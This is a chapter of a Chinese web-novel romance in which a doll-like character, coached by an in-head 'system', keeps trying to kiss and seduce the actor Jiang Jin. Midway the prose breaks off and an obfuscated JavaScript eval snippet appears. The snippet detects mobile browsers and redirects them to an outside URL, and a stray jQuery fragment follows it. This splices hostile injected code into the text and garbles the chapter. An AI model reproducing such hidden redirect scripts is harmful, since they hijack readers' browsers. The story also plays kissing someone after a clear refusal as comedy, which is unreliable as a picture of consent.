江烬比门外的李流云还要猝不及防。
他手上拎着林栖白的行李箱和背包还没来得及放下,一回头,就被林栖白壁咚到了门上。
林栖白手上拎着的东西不知道什么时候放在了地上,他双手撑在江烬的脸侧,目光炯炯地看着他,高兴地喊他:“江烬。”
江烬喉结下意识滚动了一下,他问:“干嘛?”
问完后,江烬又觉得自己白问了。
这姿势都这样了,还想干什么,难道还需要问?
果不其然,下一秒,林栖白踮着脚尖,抬头凑了过来。
江烬下意识后退,脚跟却砰的一下碰在了门上。
随后,林栖白的动作也跟着一顿。
“江烬。”林栖白软软地唤他。
林栖白没有立刻亲上去,而是停在江烬唇瓣一厘米之外的位置,好像是在等江烬主动去亲吻他。
江烬被林栖白的这个动作搞得一愣,随后下意识抿了下唇,问:“你这是做什么?”
林栖白眨眨眼说:“欠我的,补偿。”
江烬这才明白他是什么意思。
早上林栖白一直要接吻的时候,江烬只亲了一下他的脸,说剩下的先欠着。
合着他现在就要补偿,要把欠的吻给亲回来。
江烬无奈把脑袋靠在门上,稍微又拉开了一点两人之间的距离,说:“我指的补偿是拍完戏之后,不是现在。”
林栖白懵懵地“啊”了一声,问:“现在不接吻吗?”
江烬点头:“不接。”
林栖白立马蹙起眉,抿着唇,鼓起了腮帮子。
像一只气鼓鼓的小仓鼠。
林栖白是个典型的网盘学习选手,系统给的任务是让他勾引江烬睡到江烬,那林栖白就想按照10个g小片里的内容,一步步按部就班地往下做。
在那10个g的小片里,几乎都是从亲吻开始,再慢慢往下做的。
小人偶秩序感很强,小片里怎么来的,他也照搬着学习要怎么做。
可小人偶完全没想过,江烬不配合的话,该怎么办?
系统99在他的脑海中出谋划策:[磨他]
林栖白就听话地贴到了江烬的身上,贴着江烬的身体磨。
江烬和林栖白身上的衣服都不厚,这么一贴,江烬几乎瞬间就感受到了林栖白身上传过来的体温。
系统99惊呆了,它忙道:[我说的是用嘴磨他,我的意思是,撒娇耍赖皮]
哪怕是系统99,都没想到林栖白的脑回路如此可怕。
它甚至担心林栖白真直接用嘴去磨,连忙多解释了一句。
林栖白的上身紧紧地贴在江烬的身上,闻言动作一顿。
就在江烬面红耳赤地想把林栖白一把推开的时候,林栖白“啊~”的一声就叫唤了起来。
“江烬,接吻。江烬,接吻。江烬……”
“江烬,江烬,江烬……”
“接吻,接吻,接吻!”
林栖白的学习能力很强,但显然,他跟着系统99没学什么好东西。
江烬被吵得脑袋都疼,甚至还担心门外会有人经过,会听到林栖白的耍赖皮似的碎碎念。
“不可以。”江烬刚说完,林栖白就不管不顾地搂住了他的脖子,一声不吭地往他嘴上亲。
江烬差点被气笑。
哪里来的小流氓,还会搞偷袭了。
江烬下意识偏过头要躲,结果林栖白也不知道哪儿学的招式,突然伸手“啪”的一下,两只手都拍在了江烬的脸上。
小人偶还没有完全学会控制好手上的力道,这一下险些把江烬的脸都给拍麻,不知道的还以为是他甩了江烬一巴掌。
江烬脸都被拍麻了,脑子也被拍得一阵懵。
我操?
他被打了?
正这么想着呢,林栖白就固定着他的脸,“啾”的一声就亲了上来。
江烬刚升起的那点火气,噌地一下,就被林栖白这一吻给灭了。
林栖白的唇瓣软软的,他似乎刚吃过薄荷味儿的糖,嘴巴里有一股淡淡的薄荷味儿。
他先是贴着江烬的唇蹭了蹭,然后舌尖伸出,想要挑开他的唇瓣。
江烬没让他得逞,猛地扭开了头,耳根彻底红透了。他面红耳赤地质问:“你到底干嘛?”
林栖白觉得自己的动作已经很明显了,江烬怎么还在问这些?
他诚实道:“接吻呀。”
江烬震惊:“我不是拒绝了吗?”
林栖白把视线移开,假装没听到。
江烬算是知道了,合着林栖白就是个只想听自己想听的话的小流氓。
林栖白不会和别人讲道理,所以他只能继续仰头亲过去,试图通过这种手段,把江烬的嘴巴给堵上。
江烬这次快速地躲了过去,被亲一次可以说是他没有防备,被亲两次的话,那他可就是欲拒还迎了。
江烬不能让林栖白觉得他在欲拒还迎,所以这次拒绝得很坚决。
两人的脑袋你追我赶地晃来晃去,林栖白亲不到他,急了:“欠我的,利息!”
江烬晃着脑袋,“嚯”了一声。
这小流氓还知道欠款收利息呢?但收接吻利息的,江烬还真是第一次听说。
江烬:“在哪学的这些东西?”
也亏他能想得出来。
林栖白哼叽哼叽两声,没法回答这个问题。
因为他刚刚说这个话的时候,完全没有经过大脑思考。
小人偶不用大脑的时候,反而能灵机一动,连接吻利息这种话都能说出来。
不过很可惜,江烬最终还是没让林栖白把利息拿走。
江烬仗着自己身高体壮,轻而易举地就制止住了这个还想亲亲的小流氓。
林栖白发现自己怎么都亲不到,最后还被江烬拎小鸡似的掐住腰直接举起来放在了一旁,他登时就睁大了眼,被江烬的力气给震惊到了。
江烬拎着林栖白的行李箱和背包,直接忽略林栖白的眼神,将他的东西放去次卧。
林栖白的目光一直跟着江烬,见状,他立马着急地“嗯”了两声,小跑着过去扯住江烬,指着主卧的方向,对江烬喊道:“这里。”
江烬:“那是我的房间。”
林栖白闻言,有些可怜巴巴地看着他。
就好像江烬不让他睡主卧,是多么过分的一件事一样。
但江烬直接移开了视线,选择不看他。
只要不看他,江烬就不会被他的表情所影响,也不会轻易地心软。
最后,林栖白还是没磨过江烬,委屈巴巴地回了客厅。
林栖白给江烬打包过来的饭菜装在保温袋里都还热着,他将打包盒一一打开摆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076715|194590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在茶几上,然后喊江烬吃饭。
江烬吃饭的时候,林栖白倒是乖得很,江烬看他眼巴巴瞅着,还给他拆了一副碗筷,刚好也能堵住林栖白的嘴。
林栖白虽然早在过来之前就吃饱了,但是没经得住诱惑,他立马忘记了主卧次卧的不快,高兴地跟着江烬又吃了几口。
吃完饭后,江烬将桌子上的打包盒收进垃圾桶,让林栖白早点洗漱休息。
林栖白去主卧睡觉的愿望落空,但不要紧,他准备和昨天晚上一样,准备等半夜睡着之后,再偷偷摸摸地去江烬的房间。
爬床,爬一次两次都是爬,小人偶信心满满,觉得自己今晚一定可以。
结果在系统99把林栖白喊醒的凌晨,林栖白半眯着眼困倦地去摸江烬房门的时候,门把手往下一下,咔的一声,没打开。
林栖白“嗯?”了一声,打着哈欠不信邪地又按了几下门把手。
门把手都被他按的哐哐响,在屋子里一直没睡着正在看剧本的江烬闻声表情复杂地看向门口。
就这个动静,死人都能吵醒,他这哪像是来爬床的,像是来索命的。
林栖白哼哧哼哧了半天,睡意都消散了不少,但门依旧没打开。
他愣愣地站在门口,好一会儿才问系统99:[打不开,怎么办?]
系统99咬着不存在的后槽牙说:[总有他忘记锁门的时候!今天就算了,你先回去继续睡吧]
林栖白闻言,毫不犹豫地扭头就往次卧走。
他困得要死,几乎刚盖着被子躺回床上,眼一闭,没两秒就睡着了。
没有了系统99的打扰,林栖白睡了十分香甜的一觉。
第二天早上,林栖白醒来的时候,江烬已经不在房间了。
林栖白有些茫然,到处找人。
人没找到,找到了便签。
便签上写着:早餐在保温盒里,我先去片场了——江烬。
江烬今天赶早,要拍清晨菜市场的戏份,他只睡了三个多小时,就起床去片场拍戏了。
早餐是虾饺和肠粉,口味比较清淡,但林栖白还挺喜欢吃的。
吃完早餐后,林栖白才想起来给小云哥发消息,告诉小云哥他吃过饭了。
李流云收到消息的时候刚洗漱完,他看着消息,心中稍稍有点慰藉,至少影帝还管了林栖白一顿饭。
[那半个小时后,我在楼下等你]
李流云回复。
林栖白:[好哦]
小云哥只给林栖白半个小时的时间,这半个小时,林栖白有二十分钟都在行李箱里挑衣服。
小人偶喜欢漂亮的衣服,做恋爱陪伴人偶的时候,林栖白只要是开机状态,身上总是会有精致漂亮的衣服穿。
可现在,林栖白行李箱里的衣服,选择实在是少得可怜。
林栖□□挑细选了半天,最终还是选择把昨天江烬给他那身衣服给翻找了出来,觉得还是这身衣服款式颜色和版型都好看。
而事实上,林栖白的眼光也的确不错。
江烬的这身衣服,光上衣都要九千多,是品牌方赞助的衣服,比林栖白的上衣贵十倍。
林栖白穿江烬的衣服,穿出了oversize的感觉,也是一种别样的OOTD。
只有李流云,在楼下看到林栖白穿着一身江烬的衣服出来时,感到了一阵窒息。